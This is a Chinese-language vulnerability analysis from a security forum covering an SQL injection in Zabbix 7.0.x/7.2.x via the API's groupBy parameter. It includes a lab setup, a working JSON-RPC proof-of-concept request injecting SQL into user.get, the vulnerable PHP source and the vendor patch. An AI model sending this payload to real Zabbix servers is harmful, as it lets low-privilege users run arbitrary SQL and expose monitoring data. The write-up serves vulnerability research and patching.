首发于奇安信攻防社区 https://forum.butian.net/article/690
前言
仅供学习交流,请勿用于非法行为
看到有公众号发了漏洞描述,但没有详情,直接分析一手
漏洞简介 Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。
一个具有 API 访问权限的低权限(常规)Zabbix 用户可以利用 include/classes/api/CApiService.php 中的 SQL 注入漏洞,通过 groupBy 参数执行任意 SQL 命令。
影响版本
7.0.0 <= zabbix <= 7.0.7
7.2.0 <= zabbix <= 7.2.1
环境搭建 访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.7/
选择 vmx.tar.gz 这个,解压双击.vmx 文件即可导入 vmware workstation
然后开机即可,访问机器ip 80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix
php 调试环境搭建 源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载
这里和虚拟机一样用 7.0.7 版本的,漏洞修复前的版本方便 diff 源码
后续步骤可参考之前写的一篇文章https://forum.butian.net/article/639
里面有两处小错误
wget 虚拟机里面没内置,可以用 curl 替代
tar 也没内置,可以用 yum install -y tar
安装
需要注意的是改完 php.ini 后需要用 systemctl restart php-fpm 重启一下(因为这个浪费好多时间,😭)
漏洞复现 这个影响的是 include/classes/api/CApiService.php 这个文件的 applyQueryOutputOptions 方法,而提供 api 服务的各个类都继承了这个CApiService类,因此按道理调用了 parent::applyQueryOutputOptions()
都是存在 SQL 注入利用可能的。这里选取了我们的老朋友,CUser 类
首先需要用账号密码获取 auth 字段,才能拿到 api 访问权限
1 2 3 4 5 6 7 8 9 POST /api_jsonrpc.php HTTP/1.1 Host : 192.168.182.130Accept-Encoding : gzip, deflateAccept : */*Connection : closeContent-Type : application/json-rpcContent-Length : 106{ "jsonrpc" : "2.0" , "method" : "user.login" , "params" : { "username" : "Admin" , "password" : "zabbix" } , "id" : 1 }
带上获取到的 auth 字段,构造 Poc 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /api_jsonrpc.php HTTP/1.1 Host : 192.168.182.130Accept-Encoding : gzip, deflateAccept : */*Connection : closeContent-Type : application/json-rpcContent-Length : 183{ "jsonrpc" : "2.0" , "method" : "user.get" , "params" : { "groupBy" : ["roleid, version()" , "roleid" ], "userids" : "1" }, "auth" : "019e6c5b253ba57e8158df85bb6aaf0d" , "id" : 1 }
漏洞分析 这里思路也很简单,直接 diff 源码看看改了什么
从刚刚搭建环境的源码链接中下一个 7.0.8 的
使用 vscode 插件 Compare Folders 进行 diff,可以轻松找到漏洞描述所说的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 protected function applyQueryOutputOptions (string $table_name , string $table_alias , array $options , array $sql_parts ) { $pk = $this ->pk ($table_name ); $pk_composite = strpos ($pk , ',' ) !== false ; if (array_key_exists ('countOutput' , $options ) && $options ['countOutput' ] && !$this ->requiresPostSqlFiltering ($options )) { $has_joins = count ($sql_parts ['from' ]) > 1 || (array_key_exists ('left_join' , $sql_parts ) && $sql_parts ['left_join' ]); if ($pk_composite && $has_joins ) { throw new Exception ('Joins with composite primary keys are not supported in this API version.' ); } $sql_parts ['select' ] = $has_joins ? ['COUNT(DISTINCT ' .$this ->fieldId ($pk , $table_alias ).') AS rowscount' ] : ['COUNT(*) AS rowscount' ]; if (array_key_exists ('groupCount' , $options ) && $options ['groupCount' ]) { foreach ($sql_parts ['group' ] as $fields ) { $sql_parts ['select' ][] = $fields ; } } elseif (array_key_exists ('groupBy' , $options ) && $options ['groupBy' ]) { foreach ($options ['groupBy' ] as $field ) { $field = $this ->fieldId ($field , $table_alias ); array_unshift ($sql_parts ['select' ], $field ); $sql_parts ['group' ][] = $field ; } } } elseif (array_key_exists ('groupBy' , $options ) && $options ['groupBy' ]) { $sql_parts ['select' ] = []; foreach ($options ['groupBy' ] as $field ) { $field = $this ->fieldId ($field , $table_alias ); array_unshift ($sql_parts ['select' ], $field ); $sql_parts ['group' ][] = $field ; } } elseif (is_array ($options ['output' ])) { $sql_parts ['select' ] = $pk_composite ? [] : [$this ->fieldId ($pk , $table_alias )]; foreach ($options ['output' ] as $field ) { if ($this ->hasField ($field , $table_name )) { $sql_parts ['select' ][] = $this ->fieldId ($field , $table_alias ); } } $sql_parts ['select' ] = array_unique ($sql_parts ['select' ]); } elseif ($options ['output' ] == API_OUTPUT_EXTEND) { $sql_parts = $this ->addQuerySelect ($this ->fieldId ('*' , $table_alias ), $sql_parts ); } return $sql_parts ; } protected function fieldId ($fieldName , $tableAlias = null ) { $tableAlias = $tableAlias ? $tableAlias : $this ->tableAlias (); return $tableAlias .'.' .$fieldName ; }
$options 就是我们可控的传参,很容易分析出 groupBy 字段可控时,可以控制 $sql_parts
的 group
而在继承并调用的这个方法的类,如 CUser 类,会将 $sql_parts 解析为 sql 查询语句进行查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 protected static function createSelectQueryFromParts (array $sqlParts ) { $sql_left_join = '' ; if (array_key_exists ('left_join' , $sqlParts )) { $l_table = DB::getSchema ($sqlParts ['left_table' ]['table' ]); foreach ($sqlParts ['left_join' ] as $left_join ) { $sql_left_join .= ' LEFT JOIN ' .$left_join ['table' ].' ' .$left_join ['alias' ].' ON ' ; $sql_left_join .= array_key_exists ('condition' , $left_join ) ? $left_join ['condition' ] : $sqlParts ['left_table' ]['alias' ].'.' .$l_table ['key' ].'=' . $left_join ['alias' ].'.' .$left_join ['using' ]; } $table_id = $sqlParts ['left_table' ]['table' ].' ' .$sqlParts ['left_table' ]['alias' ]; unset ($sqlParts ['from' ][array_search ($table_id , $sqlParts ['from' ])]); $sqlParts ['from' ][] = $table_id ; } $sqlSelect = implode (',' , array_unique ($sqlParts ['select' ])); $sqlFrom = implode (',' , array_unique ($sqlParts ['from' ])); $sqlWhere = empty ($sqlParts ['where' ]) ? '' : ' WHERE ' .implode (' AND ' , array_unique ($sqlParts ['where' ])); $sqlGroup = empty ($sqlParts ['group' ]) ? '' : ' GROUP BY ' .implode (',' , array_unique ($sqlParts ['group' ])); $sqlOrder = empty ($sqlParts ['order' ]) ? '' : ' ORDER BY ' .implode (',' , array_unique ($sqlParts ['order' ])); return 'SELECT' .self ::dbDistinct ($sqlParts ).' ' .$sqlSelect . ' FROM ' .$sqlFrom . $sql_left_join . $sqlWhere . $sqlGroup . $sqlOrder ; }
可以看到这里直接拼接到 SQL 语句中,而且还有一个细节,正常来说是 group by 后面的语句可控,那还不是那么好注入的,但但但是
这里给可控的 groupBy 字段给复制到了 select 后面那个 column 所在的 part,所以 poc 也很容易构造
修复补丁 这里修复的也很简单,就是在给 $sql_parts 赋值前检查这个表里面是否存在这个字段(比如 CUser 这个类的就是寻找 user 表)
而且他检查是否存在也是给整个表的字段查询出来然后用 isset 去判断的,也不存在 SQL 可控,所以就没法在这构造其他非预期的语句了
1 2 3 4 5 protected function hasField ($fieldName , $tableName = null ) { $schema = $this ->getTableSchema ($tableName ); return isset ($schema ['fields' ][$fieldName ]); }
结语 如有错误,请各位看官大佬多多指点